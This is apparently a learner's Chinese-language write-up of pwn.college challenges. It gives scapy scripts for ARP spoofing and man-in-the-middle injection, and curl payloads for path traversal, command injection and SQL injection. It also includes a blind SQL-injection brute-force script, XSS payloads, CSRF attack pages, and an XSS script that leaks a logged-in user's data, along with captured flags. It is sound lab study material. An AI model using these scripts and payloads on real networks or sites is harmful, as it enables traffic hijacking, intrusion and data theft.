...: waddr("eth0"), psrc="10.0.0.2", hwdst="ff:ff:ff:ff:ff:ff", pdst="10.0.0.3"), iface="eth0")
.
Sent 1 packets.
pwn.college{0mowkGco5uatE6V9v8I1lPZ2xHa.dBzNzMDL2QjMyMzW}
level13 Hijack traffic from a remote host using ARP
先观察一波
root@ip-10-0-0-3:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether e6:19:83:95:20:c7 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.0.0.3/16 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::e419:83ff:fe95:20c7/64 scope link
valid_lft forever preferred_lft forever
root@ip-10-0-0-3:~#
很尬,就自己瞎做把
arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc="e6:19:83:95:20:c7", psrc="10.0.0.3", pdst="10.0.0.4")
remote_mac = arp_response[0][1].hwsrc
tcp_redirect = Ether(src=remote_mac, dst="e6:19:83:95:20:c7") / IP(src="10.0.0.4", dst="10.0.0.3") / TCP(sport=31337, dport=31337, flags="PA", seq=123456, ack=0)
arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc="e6:19:83:95:20:c7", psrc="10.0.0.3", pdst="10.0.0.2")
remote_mac = arp_response[0][1].hwsrc
tcp_redirect = Ether(src=remote_mac, dst=local_mac) / IP(src="10.0.0.4", dst=local_ip) / TCP(sport=31338, dport=31337, flags="PA", seq=123456, ack=0)
看起来,又是建立链接?
sendp(Ether(src=get_if_hwaddr("eth0"),dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.2", dst="10.0.0.3") / TCP(sport=31337, dport=31337, seq=31337, flags="A"),iface="eth0")
过程都写完了,可以写脚本了
from scapy.all import *
# 获取本地接口的 MAC 和 IP 地址
local_mac = get_if_hwaddr("eth0")
local_ip = get_if_addr("eth0")
# 构造 ARP 请求数据包,欺骗目标主机
arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc=local_mac, psrc=local_ip, pdst="10.0.0.4")
# 发送 ARP 请求数据包,并获取目标主机的 MAC 地址
arp_response = srp(arp_request, timeout=2, iface="eth0", verbose=False)[0]
remote_mac = arp_response[0][1].hwsrc
# 构造 TCP 重定向数据包,将流量重定向到本地主机
tcp_redirect = Ether(src=remote_mac, dst=local_mac) / IP(src="10.0.0.4", dst=local_ip) / TCP(sport=31337, dport=31337, flags="PA", seq=123456, ack=0)
# 发送 TCP 重定向数据包,劫持流量
sendp(tcp_redirect, iface="eth0")
from scapy.all import *
# 获取本地接口的 MAC 和 IP 地址
local_mac = get_if_hwaddr("eth0")
local_ip = get_if_addr("eth0")
# 构造 ARP 请求数据包,欺骗目标主机
arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc=local_mac, psrc=local_ip, pdst="10.0.0.2")
# 发送 ARP 请求数据包,并获取目标主机的 MAC 地址
arp_response = srp(arp_request, timeout=2, iface="eth0", verbose=False)[0]
remote_mac = arp_response[0][1].hwsrc
# 构造 TCP 重定向数据包,将流量重定向到本地主机
tcp_redirect = Ether(src=remote_mac, dst=local_mac) / IP(src="10.0.0.2", dst=local_ip) / TCP(sport=31337, dport=31337, flags="PA", seq=123456, ack=0)
# 发送 TCP 重定向数据包,劫持流量
sendp(tcp_redirect, iface="eth0")
好吧,整了一大堆,然后发现搞错了,没那么复杂,G。。。
正确解答如下:
root@ip-10-0-0-3:~# arping 10.0.0.4
ARPING 10.0.0.4
42 bytes from ce:b6:65:76:0a:83 (10.0.0.4): index=0 time=17.107 usec
42 bytes from ce:b6:65:76:0a:83 (10.0.0.4): index=1 time=13.761 usec
^C
--- 10.0.0.4 statistics ---
2 packets transmitted, 2 packets received, 0% unanswered (0 extra)
rtt min/avg/max/std-dev = 0.014/0.015/0.017/0.002 ms
root@ip-10-0-0-3:~#
sendp(Ether(src=get_if_hwaddr("eth0"),dst="ce:b6:65:76:0a:83") / ARP(op="is-at",hwsrc=get_if_hwaddr("eth0"),psrc="10.0.0.2",hwdst="ce:b6:65:76:0a:83",pdst="10.0.0.4"),iface="eth0")
pwn.college{cNTaa8AjxVE-lSXY9DgEeXxNMHz.dFzNzMDL2QjMyMzW}
level14 Man-in-the-middle traffic between two remote hosts and inject extra traffic
从讲解来看,这个题的核心是需要加入对话,而不仅仅是监听,因为对话中有一次性密钥,仅仅监听并不管用,重点是抓住窗口期发送包含有FLAG的包。
直接写个脚本
from scapy.all import *
sendp(Ether(src=get_if_hwaddr("eth0")) / ARP(op="is-at",hwsrc=get_if_hwaddr("eth0"),
psrc="10.0.0.3",pdst="10.0.0.4"),iface="eth0") #tell 10.0.0.4,where 10.0.0.3 it is
sendp(Ether(src=get_if_hwaddr("eth0")) / ARP(op="is-at",hwsrc=get_if_hwaddr("eth0"),
psrc="10.0.0.4",pdst="10.0.0.3"),iface="eth0") #tell 10.0.0.3,where 10.0.0.4 it is
packet_data = {
'key': '',
'dst': '',
'src': '',
'ipdst': '',
'ipsrc': '',
'ipflags': '',
'sport': 0,
'dport': 31337,
'flags': '',
'seq': 0,
'ack': 0
}
def CallBack(packet):
if packet.haslayer('TCP'):
tcp = packet['TCP']
ip = packet['IP']
ether = packet['Ethernet']
load = tcp.load if hasattr(tcp, 'load') else b''
if ip.src == '10.0.0.4' and load != b'ECHO\n':
packet_data['key'] = load
if ip.src == '10.0.0.3' and load == b'COMMANDS:\nECHO\nFLAG\nCOMMAND:\n':
print("WARNING!!")
packet_data.update({
'ipdst': ip.src,
'ipsrc': ip.dst,
'flags': 'PA',
'ipflags': ip.flags,
'dst': ether.src,
'src': ether.dst,
'dport': tcp.sport,
'sport': tcp.dport,
'seq': tcp.ack,
'ack': tcp.seq + 29
})
raw_pkt = Raw(load='FLAG\n')
(Ether(src=packet_data['src'], dst=packet_data['dst']) /
IP(src=packet_data['ipsrc'], dst=packet_data['ipdst'], flags=packet_data['ipflags']) /
TCP(dport=packet_data['dport'], sport=packet_data['sport'], seq=packet_data['seq'], ack=packet_data['ack'], flags=packet_data['flags']) /
raw_pkt).display()
sendp(Ether(src=packet_data['src'], dst=packet_data['dst']) /
IP(src=packet_data['ipsrc'], dst=packet_data['ipdst'], flags=packet_data['ipflags']) /
TCP(dport=packet_data['dport'], sport=packet_data['sport'], seq=packet_data['seq'], ack=packet_data['ack'], flags=packet_data['flags']) /
raw_pkt, iface="eth0")
sniff(filter="tcp", prn=CallBack, iface='eth0', count=100)
然后顺利拿到flag
pwn.college{A3pb7kfH8On2sOV2_hSlPGWG_P8.dJzNzMDL2QjMyMzW}
可以看这个视频讲解
碎碎念:这个部分其实不太难,重点是学会scapy即可,但是诡异的地方在于必须使用tmux,好像这样才能在一个父线程之下,不然你在另一个shell里面使用python脚本,这个shell里面的tcpdump抓不到东西。这曾经困扰了我很久,别的就没啥了。
Knoeledge
需要知道web服务器都能干什么事
SQL,大名鼎鼎的SQL注入
命令注入
HTML,也就是注入部分JavaScript
C语言的堆栈注入
总的来说就是利用Web服务器会执行一些语句(部分参数来自于我们的输入),来进行操作。
Origin的概念:(<shceme>
,<host>
,<post>
)
(http, exapmle.com,80)
HTML-embeds、域名、站点等概念,基本上都是计算机网络的内容
WP
level1 Exploit a path traversal vulnerability
这个其实我找不到太好的方法,只能猜,猜到了就是了
hacker@web-security-level-1:~$ curl http://challenge.localhost:80/?path=/flag
pwn.college{4MSrtxHJYUF2_wAz81iNV6UtM5K.ddDOzMDL2QjMyMzW}
hacker@web-security-level-1:~$
这个也不让安装dirsearch,不知道怎么自己扫目录,也许可以自己写脚本?
level2 Exploit a command injection vulnerability
这个十分简单,就是一个简单的命令注入,只需要让前面的命令闭合即可
hacker@web-security-level-2:~$ curl "http://challenge.localhost:80/?timezone=;cat%20/flag;#"
pwn.college{o0h_efJ2CAv60AmeSOoPYGrZKBs.dhDOzMDL2QjMyMzW}
Mon Jul 24 07:17:20 UTC 2023
level3 Exploit an authentication bypass vulnerability
在运行以后出现这个界面
一开始以为是弱口令,试了好几个都不太星,然后看了一下源代码
db.execute(("CREATE TABLE IF NOT EXISTS users AS "
'SELECT "flag" AS username, ? as password'),
(flag,))
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
assert username, "Missing `username` form"
assert password, "Missing `password` form"
user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
assert user, "Invalid `username` or `password`"
return redirect(request.path, user=int(user["rowid"]))
if "user" in request.args:
user_id = int(request.args["user"])
user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
if user:
username = user["username"]
if username == "flag":
return f"{flag}\n"
return f"Hello, {username}!\n"
return form(["username", "password"])
发现重点在于rowid
hacker@web-security-level-3:~$ curl -X GET "http://challenge.localhost:80/?user=1"
pwn.college{8_5yNK5tBFzbFE9oz5e05zoS6-a.dlDOzMDL2QjMyMzW}
这道题的重点就是找到绕过这个界面的方法。也就是说我们如果看到的是那个输入的页面,只有输入正确的flag才行,但是我们想要的就是flag,怎么可能输入进去?
因此正确的做法是只使用GET请求,构造合理的请求包。
当然为什么user=1,要看这个视频,我其实是瞎猜的,但是应该是看一下返回包。
level4 Exploit a structured query language injection vulnerability to login
还是看代码
user = db.execute(f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"').fetchone()
assert user, "Invalid `username` or `password`"
session["user"] = int(user["rowid"])
return redirect(request.path)
if session.get("user"):
user_id = int(session.get("user", -1))
user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
if user:
username = user["username"]
if username == "flag":
return f"{flag}\n"
return f"Hello, {username}!\n"
SQL注入
在user的地方填上flag";--
即可
pwn.college{YeVTtF9Vvh8mWYEuq-G30ezoOld.dBTOzMDL2QjMyMzW}
level5 Exploit a structured query language injection vulnerability to leak data
def level5():
db.execute(("CREATE TABLE IF NOT EXISTS users AS "
'SELECT "flag" AS username, ? AS password'),
(flag,))
query = request.args.get("query", "%")
users = db.execute(f'SELECT username FROM users WHERE username LIKE "{query}"').fetchall()
return "".join(f'{user["username"]}\n' for user in users)
这个看代码的话,直接上联合查询
hacker@web-security-level-5:~$ curl "http://challenge.localhost:80/?query=%22%20UNION%20SELECT%20password%20FROM%20users%20--"
pwn.college{ky74n-Ct2lQvah1GVjTktI5hfs6.dFTOzMDL2QjMyMzW}
其实还是简单的。
level6 Exploit a structured query language injection vulnerability with an unknown database structure
def level6():
table_name = f"table{hash(flag) & 0xFFFFFFFFFFFFFFFF}"
db.execute((f"CREATE TABLE IF NOT EXISTS {table_name} AS "
'SELECT "flag" AS username, ? AS password'),
(flag,))
query = request.args.get("query", "%")
users = db.execute(f'SELECT username FROM {table_name} WHERE username LIKE "{query}"').fetchall()
return "".join(f'{user["username"]}\n' for user in users)
这个是说我们不知道库名和表名,但是sqlite有如下语句可以查询
-- this query will extract data from databases.
SELECT name FROM sqlite_master WHERE type = "table"
-- or
SELECT tbl_name FROM sqlite_master
这样我们就可以联合查询了,先查表名
hacker@web-security-level-6:~$ curl 'http://challenge.localhost:80/?query=%22%20UNION%20SELECT%20name%20FROM%20sqlite_master%20WHERE%20type%20%3D%20%22table%22%3B--'
table14306546637912208127
hacker@web-security-level-6:~$
然后从这个表读取flag即可
hacker@web-security-level-6:~$ curl 'http://challenge.localhost:80/?query=%20%22%20UNION%20SELECT%20password%20FROM%20table14306546637912208127%20%3B%20--'
pwn.college{g044nYlCw5bx-l7OByeCKKr9QCs.dJTOzMDL2QjMyMzW}
hacker@web-security-level-6:~$
level7 Exploit a structured query language injection vulnerability to blindly leak data
先看源代码
def level7():
db.execute(("CREATE TABLE IF NOT EXISTS users AS "
'SELECT "flag" AS username, ? as password'),
(flag,))
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
assert username, "Missing `username` form"
assert password, "Missing `password` form"
user = db.execute(f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"').fetchone()
assert user, "Invalid `username` or `password`"
session["user"] = int(user["rowid"])
return redirect(request.path)
if session.get("user"):
user_id = int(session.get("user", -1))
user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
if user:
username = user["username"]
return f"Hello, {username}!\n"
return form(["username", "password"])
根据源代码,如果我们输入正确,我们就可以得到hellp,flag
的提示,也就是说,我们可以一位一位的来实验,进而推出整个flag。这是典型的盲注。
当然,这里有一个问题就是LIKE
是不区分大小写的,因此我们需要使用GLOB
来替换
然后我们写个脚本即可
import string
import requests
searchspace = string.ascii_letters + string.digits + '{}._-'
solution = ''
while True:
for char in searchspace:
data = {
"username": f'" OR password GLOB "{solution}{char}*" -- -',
"password": 'flag'
}
response = requests.post("http://challenge.localhost/", data = data)
if response.text.startswith("Hello"):
solution += char
break
if solution[-1] == "}":
print(solution)
break
然后得到flag
hacker@web-security-level-7:~$ python test.py
pwn.college{IqvCxcvkbplIDWtJG3DclxxKfPE.dNTOzMDL2QjMyMzW}
hacker@web-security-level-7:~$
level8 Exploit a cross site scripting vulnerability
终于来到了激动人心的跨站脚本,还是先看源码
def level8():
if request.path == "/echo":
echo = request.args.get("echo")
assert echo, "Missing `echo` argument"
return html(echo)
if request.path == "/visit":
url = request.args.get("url")
assert url, "Missing `url` argument"
url_arg_parsed = urllib.parse.urlparse(url)
assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"
with run_browser() as browser:
browser.get(url)
try:
WebDriverWait(browser, 1).until(EC.alert_is_present())
except TimeoutException:
return "Failed to alert\n"
else:
return f"{flag}\n"
return "Not Found\n", 404
如果将 url 参数设置为 javascript:alert(1),那么它将弹出一个警报框,并返回标志值 flag。
hacker@web-security-level-8:~$ curl "http://challenge.localhost/visit?url=<script>alert(1)</script>"
Invalid `url`, hostname should be `challenge.localhost`
hacker@web-security-level-8:~$ curl "http://challenge.localhost/visit?url=http://challenge.localhost/echo?echo=<script>alert(1)</script>"
pwn.college{4g4Hj421ueC3NuXZRLIM6QQnz_i.dRTOzMDL2QjMyMzW}
hacker@web-security-level-8:~$
level9 Exploit a cross site scripting vulnerability with more complicated context
还是先看一下源代码
def level9():
if request.path == "/echo":
echo = request.args.get("echo")
assert echo, "Missing `echo` argument"
return html(f"<textarea>{echo}</textarea>")
if request.path == "/visit":
url = request.args.get("url")
assert url, "Missing `url` argument"
url_arg_parsed = urllib.parse.urlparse(url)
assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"
with run_browser() as browser:
browser.get(url)
try:
WebDriverWait(browser, 1).until(EC.alert_is_present())
except TimeoutException:
return "Failed to alert\n"
else:
return f"{flag}\n"
return "Not Found\n", 404
差不多,不同的是要使用<textarea>
标签
hacker@web-security-level-9:~$ curl "http://challenge.localhost/visit?url=http://challenge.localhost/echo?echo=</textarea><script>alert(1)</script><textarea>"
pwn.college{Ukha1cPrsQUTyJ0IakNuWL6dt7w.dVTOzMDL2QjMyMzW}
hacker@web-security-level-9:~$
level10 Exploit a cross site scripting vulnerability to cause a user action
源代码
def level10():
db.execute(("CREATE TABLE IF NOT EXISTS users AS "
'SELECT "flag" AS username, ? as password, ? as leak'),
(flag, False))
if request.path == "/login":
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
assert username, "Missing `username` form"
assert password, "Missing `password` form"
user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
assert user, "Invalid `username` or `password`"
session["user"] = int(user["rowid"])
return redirect(request.path)
return form(["username", "password"])
if request.path == "/leak":
user_id = int(session.get("user", -1))
user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
assert user, "Not logged in"
db.execute(f"UPDATE users SET leak = TRUE WHERE rowid = ?", (user_id,))
return "Leaked\n"
if request.path == "/info":
assert "user" in request.args, "Missing `user` argument"
user_id = int(request.args["user"])
user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
assert user, "Invalid `user`"
info = [user["username"]]
if user["leak"]:
info.append(user["password"])
return " ".join(info) + "\n"
if request.path == "/visit":
url = request.args.get("url")
assert url, "Missing `url` argument"
url_arg_parsed = urllib.parse.urlparse(url)
assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"
with run_browser() as browser:
browser.get(f"http://{challenge_host}/login")
user_form = {
"username": "flag",
"password": flag,
}
for name, value in user_form.items():
field = browser.find_element(By.NAME, name)
field.send_keys(value)
submit_field = browser.find_element(By.ID, "submit")
submit_field.submit()
WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))
browser.get(url)
time.sleep(1)
return "Visited\n"
if request.path == "/echo":
echo = request.args.get("echo")
assert echo, "Missing `echo` argument"
return html(echo)
return "Not Found\n", 404
五个路由:
/login
路由:它接受 POST 请求,从表单中获取 username 和 password 参数的值,并使用 SQLite 数据库查询验证用户身份。如果验证成功,它将在会话中存储用户 ID,并重定向到登录页面。如果请求方法是 GET,它将返回一个包含 username 和 password 输入框的 HTML 表单。/leak
路由:它检查当前用户是否已经登录,并将该用户的 leak 标志设置为 TRUE。这个标志可以用来控制是否泄露用户密码。/info
路由:它从请求参数中获取 user 参数的值,并使用 SQLite 数据库查询该用户的信息。如果该用户存在,它将返回该用户的用户名和密码(如果 leak 标志为 TRUE)。/visit
路由:它从请求参数中获取 url 参数的值,并使用 Selenium WebDriver 打开该 URL。在访问该 URL 之前,它会先登录为管理员用户,以便访问敏感数据。如果 url 参数的主机名与 challenge_host 变量的值相同,它将访问该 URL 并返回一个成功消息。/echo
路由:它从请求参数中获取 echo 参数的值,并返回一个 HTML 响应,其中包含 echo 参数的值。
hacker@web-security-level-10:~$ curl http://challenge.localhost/visit?url=http://challenge.localhost/leak
Visited
hacker@web-security-level-10:~$
这时候我们就已经被设置为True了,然后再访问即可
hacker@web-security-level-10:~$ curl http://challenge.localhost/info?user=1
flag pwn.college{4QUT7p7kVB1-GCQIE-psBqLVG8L.dZTOzMDL2QjMyMzW}
hacker@web-security-level-10:~$
level11 Exploit a cross site request forgery vulnerability
看一下源代码
def level11():
db.execute(("CREATE TABLE IF NOT EXISTS users AS "
'SELECT "flag" AS username, ? as password, ? as leak'),
(flag, False))
if request.path == "/login":
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
assert username, "Missing `username` form"
assert password, "Missing `password` form"
user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
assert user, "Invalid `username` or `password`"
session["user"] = int(user["rowid"])
return redirect(request.path)
return form(["username", "password"])
if request.path == "/leak":
user_id = int(session.get("user", -1))
user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
assert user, "Not logged in"
db.execute(f"UPDATE users SET leak = TRUE WHERE rowid = ?", (user_id,))
return "Leaked\n"
if request.path == "/info":
assert "user" in request.args, "Missing `user` argument"
user_id = int(request.args["user"])
user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
assert user, "Invalid `user`"
info = [user["username"]]
if user["leak"]:
info.append(user["password"])
return " ".join(info) + "\n"
if request.path == "/visit":
url = request.args.get("url")
assert url, "Missing `url` argument"
url_arg_parsed = urllib.parse.urlparse(url)
assert url_arg_parsed.hostname == hacker_host, f"Invalid `url`, hostname should be `{hacker_host}`"
with run_browser() as browser:
browser.get(f"http://{challenge_host}/login")
user_form = {
"username": "flag",
"password": flag,
}
for name, value in user_form.items():
field = browser.find_element(By.NAME, name)
field.send_keys(value)
submit_field = browser.find_element(By.ID, "submit")
submit_field.submit()
WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))
browser.get(url)
time.sleep(1)
return "Visited\n"
return "Not Found\n", 404
区别在于这次我们需要自己启动一个服务,因为hacker.localhost
没有服务,当然,答疑给出了一个参考框架
from flask import Flask,request
app=Flask(__name__)
@app.route("/")
def index():
data='<img src="http://challenge.localhost/">'
return data
app.run("hacker.localhost",8080)
后面的挑战都可以利用这个代码框架,只需要改变的是Data那个部分。
这里的所谓的img src是什么?就是tab里面这个小图片
不只是那个img src,比如说这个图,除了本身的请求之外,还请求了一个js,其实只要你用了其他站的src,都会同时发包的。
正确的内容如下所示:
from flask import Flask,request
app=Flask(__name__)
@app.route("/")
def index():
data = '<img src="http://challenge.localhost/leak">'
return data
app.run("hacker.localhost",8080)
这里是这样的:我启动了hacker.localhost
服务,也就是127.0.0.1,然后我现在希望服务器把我设置为visited,这样我再访问challenge的时候就可以访问到flag了。这时候,我如何通过hacker让challenge给我设置为 visited呢?利用访问网页的同时网页也会请求ico的特点,让hacker发一个访问leak的包,即可!
hacker@web-security-level-11:~$ curl 'http://challenge.localhost/visit?url=http://hacker.localhost:8080/'
Visited
hacker@web-security-level-11:~$ curl http://challenge.localhost/info?user=1
flag pwn.college{YJJku1sAPTQ8nbbxZ7Dy_Z3PahG.ddTOzMDL2QjMyMzW}
hacker@web-security-level-11:~$
level12 Exploit a cross site request forgery vulnerability where the request must POST
看看源码
def level12():
db.execute(("CREATE TABLE IF NOT EXISTS users AS "
'SELECT "flag" AS username, ? as password, ? as leak'),
(flag, False))
if request.path == "/login":
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
assert username, "Missing `username` form"
assert password, "Missing `password` form"
user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
assert user, "Invalid `username` or `password`"
session["user"] = int(user["rowid"])
return redirect(request.path)
return form(["username", "password"])
if request.path == "/leak" and request.method == "POST":
user_id = int(session.get("user", -1))
user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
assert user, "Not logged in"
db.execute(f"UPDATE users SET leak = TRUE WHERE rowid = ?", (user_id,))
return "Leaked\n"
if request.path == "/info":
assert "user" in request.args, "Missing `user` argument"
user_id = int(request.args["user"])
user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
assert user, "Invalid `user`"
info = [user["username"]]
if user["leak"]:
info.append(user["password"])
return " ".join(info) + "\n"
if request.path == "/visit":
url = request.args.get("url")
assert url, "Missing `url` argument"
url_arg_parsed = urllib.parse.urlparse(url)
assert url_arg_parsed.hostname == hacker_host, f"Invalid `url`, hostname should be `{hacker_host}`"
with run_browser() as browser:
browser.get(f"http://{challenge_host}/login")
user_form = {
"username": "flag",
"password": flag,
}
for name, value in user_form.items():
field = browser.find_element(By.NAME, name)
field.send_keys(value)
submit_field = browser.find_element(By.ID, "submit")
submit_field.submit()
WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))
browser.get(url)
time.sleep(1)
return "Visited\n"
return "Not Found\n", 404
这个要求方法为POST,实在是不知道咋整,主要是前端那块儿会的太少了,看了一下 discord
里面的解答,得到如下语句
from flask import Flask,request
app=Flask(__name__)
@app.route("/")
def index():
data = '<script>var xhr=new XMLHttpRequest(); xhr.open("POST","http://challenge.localhost/leak",true);xhr.withCredentials=true;xhr.send(null);</script>'
return data
app.run("hacker.localhost",8080)
有点儿超纲了朋友。。。
解释是这样的:这段代码似乎是在 hacker.localhost:8080 上启动了一个 Flask 应用程序,它的主页返回了一个包含一个 JavaScript 代码块的 HTML 页面。该 JavaScript 代码块使用 XMLHttpRequest 对象向 challenge.localhost 的 /leak 路由发送了一个 POST 请求,并将 withCredentials 属性设置为 true,以便在跨域请求中发送身份验证信息。
这个 JavaScript 代码块可能会导致一些安全问题,例如:
它允许跨域请求,而没有对目标服务器进行足够的验证和授权。这可能导致攻击者利用该漏洞,向目标服务器发送恶意请求,例如修改数据、泄漏敏感信息等等。 以上是chatgpt的一些解答,反正我大受震撼
hacker@web-security-level-12:~$ curl 'http://challenge.localhost/visit?url=http://hacker.localhost:8080/'
Visited
hacker@web-security-level-12:~$ curl http://challenge.localhost/info?user=1
flag pwn.college{YOI6WPf6E5oX7qRb5fmdXaYAu3v.dhTOzMDL2QjMyMzW}
hacker@web-security-level-12:~$
得到答案。
这里最好看一下两个服务器的log,理解更深刻一些
hacker@web-security-level-12:~$ sh file.sh
* Serving Flask app 'run'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on http://challenge.localhost:80
Press CTRL+C to quit
127.0.0.1 - - [05/Aug/2023 13:38:17] "GET /login HTTP/1.1" 200 -
127.0.0.1 - - [05/Aug/2023 13:38:17] "GET /favicon.ico HTTP/1.1" 404 -
127.0.0.1 - - [05/Aug/2023 13:38:17] "POST /login HTTP/1.1" 302 -
127.0.0.1 - - [05/Aug/2023 13:38:17] "GET /login HTTP/1.1" 200 -
127.0.0.1 - - [05/Aug/2023 13:38:18] "POST /leak HTTP/1.1" 200 -
127.0.0.1 - - [05/Aug/2023 13:38:22] "GET /visit?url=http://hacker.localhost:8080/ HTTP/1.1" 200 -
127.0.0.1 - - [05/Aug/2023 13:38:26] "GET /info?user=1 HTTP/1.1" 200 -
正好有时间戳,可以看一下发生了什么
hacker@web-security-level-12:~$ python test.py
* Serving Flask app 'test'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on http://hacker.localhost:8080
Press CTRL+C to quit
127.0.0.1 - - [05/Aug/2023 13:38:18] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [05/Aug/2023 13:38:18] "GET /favicon.ico HTTP/1.1" 404 -
level13 Exploit a cross site scripting vulnerability to exfilitrate user session data
看一下源代码,
def level13():
app.config['SESSION_COOKIE_HTTPONLY'] = False
db.execute(("CREATE TABLE IF NOT EXISTS users AS "
'SELECT "flag" AS username, ? as password'),
(flag,))
if request.path == "/login":
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
assert username, "Missing `username` form"
assert password, "Missing `password` form"
user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
assert user, "Invalid `username` or `password`"
session["user"] = int(user["rowid"])
return redirect(request.path)
return form(["username", "password"])
if request.path == "/info":
session_user_id = int(session.get("user", -1))
session_user = db.execute("SELECT * FROM users WHERE rowid = ?", (session_user_id,)).fetchone()
request_user_id = int(request.args.get("user", session_user_id))
request_user = db.execute("SELECT * FROM users WHERE rowid = ?", (request_user_id,)).fetchone()
assert request_user, "Invalid `user`"
info = [request_user["username"]]
if request_user_id == session_user_id:
info.append(request_user["password"])
return " ".join(info) + "\n"
if request.path == "/visit":
url = request.args.get("url")
assert url, "Missing `url` argument"
url_arg_parsed = urllib.parse.urlparse(url)
assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"
with run_browser() as browser:
browser.get(f"http://{challenge_host}/login")
user_form = {
"username": "flag",
"password": flag,
}
for name, value in user_form.items():
field = browser.find_element(By.NAME, name)
field.send_keys(value)
submit_field = browser.find_element(By.ID, "submit")
submit_field.submit()
WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))
browser.get(url)
time.sleep(1)
return "Visited\n"
if request.path == "/echo":
echo = request.args.get("echo")
assert echo, "Missing `echo` argument"
return html(echo)
return "Not Found\n", 404
看了一下,这次没有leak路由了,同时多了这样一句
app.config['SESSION_COOKIE_HTTPONLY'] = False
这是关闭了 Flask 应用程序的 HTTP-only 会话 cookie 选项
HTTP-only 会话 cookie 选项是一个安全机制,它可以防止恶意脚本(如跨站脚本攻击)从浏览器中窃取会话 cookie。当启用 HTTP-only 选项时,浏览器将禁止 JavaScript 访问会话 cookie,这意味着即使恶意脚本能够执行,也无法访问该 cookie。
如果关闭了 Flask 应用程序的 HTTP-only 会话 cookie 选项,会话 cookie 将变得更加容易受到攻击。例如,恶意脚本可以通过 JavaScript 访问会话 cookie,然后将其发送到攻击者的服务器,从而劫持用户的会话。此外,如果会话 cookie 包含敏感信息,例如用户名和密码,攻击者可以轻松地窃取这些信息,然后用于恶意目的。
这也就是level13的核心了。注意,此时我们不需要服务器了,因为并不需要从hacker
访问了
然后差不多,就是写一个请求,把获取cookie的语句塞到里面即可,这个javascript的讲解在discord上有,一定要去看一看这个,十分的清晰!
import requests
r = requests.get('http://challenge.localhost/visit?url=http://challenge.localhost/echo?echo=<script>var xhttp = new XMLHttpRequest();xhttp.open("GET","http://challenge.localhost/info?user=1",true);xhttp.onreadystatechange = function(){document.getElementById("n").src = xhttp.responseText;};xhttp.send();</script><img src = "n" id="n">')
print(r.content.decode())
发现flag在get里面,我震惊
"GET /flag%20pwn.college{Iw5PLCtom_udyT1-ZfKq0ziXEhh.dlTOzMDL2QjMyMzW} HTTP/1.1" 404 -
level14 Exploit a cross site scripting vulnerability to exfilitrate user data
def level14():
db.execute(("CREATE TABLE IF NOT EXISTS users AS "
'SELECT "flag" AS username, ? as password'),
(flag,))
if request.path == "/login":
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
assert username, "Missing `username` form"
assert password, "Missing `password` form"
user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
assert user, "Invalid `username` or `password`"
session["user"] = int(user["rowid"])
return redirect(request.path)
return form(["username", "password"])
if request.path == "/info":
session_user_id = int(session.get("user", -1))
session_user = db.execute("SELECT * FROM users WHERE rowid = ?", (session_user_id,)).fetchone()
request_user_id = int(request.args.get("user", session_user_id))
request_user = db.execute("SELECT * FROM users WHERE rowid = ?", (request_user_id,)).fetchone()
assert request_user, "Invalid `user`"
info = [request_user["username"]]
if request_user_id == session_user_id:
info.append(request_user["password"])
